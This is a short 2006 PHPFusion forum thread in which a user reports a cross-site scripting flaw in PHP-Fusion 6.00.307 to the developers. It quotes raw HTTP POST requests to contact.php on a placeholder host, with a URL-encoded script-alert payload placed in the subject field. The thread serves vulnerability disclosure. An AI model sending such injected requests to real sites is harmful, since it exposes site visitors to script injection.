XSS: PHPFusion 6 Support

Home
Search

Oh no! Where's the JavaScript?
Your Web browser does not have JavaScript enabled or does not support JavaScript. Please enable JavaScript on your Web browser to properly view this Web site, or upgrade to a Web browser that does support JavaScript.

-----------------------
php-fusion-6.00.307|
-----------------------
POST /contact.php HTTP/1.1
Host: target.xx
Content-Type: application/x-www-form-urlencoded

developers contact me.

Edited by K33p3r on 10-06-2006 11:40, 18 y

0 replies

what is the problem ?

0 replies

Just now K33p3r contact me by ICQ. He told me it's dangerous:

Code Download source


----------------------------------------------
Cross Site Scripting (XSS) php-fusion-6.00.307|
----------------------------------------------
POST /contact.php HTTP/1.1 
Host: target.xx
Content-Type: application/x-www-form-urlencoded 
Content-Length: 135 

mailname=1&email=123@none.org&subject=%3E%3Cscript%3Ealert%28%27Ellipsis+Security+Test%27%29%3C%2Fscript%3E%3C&sendmessage=1


POST /contact.php HTTP/1.1 
Host: target.xx 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 129 

mailname=1&email=123@none.org&subject=%3Cscript%3Ealert%28%27Ellipsis+Security+Test%27%29%3C%2Fscript%3E&sendmessage=1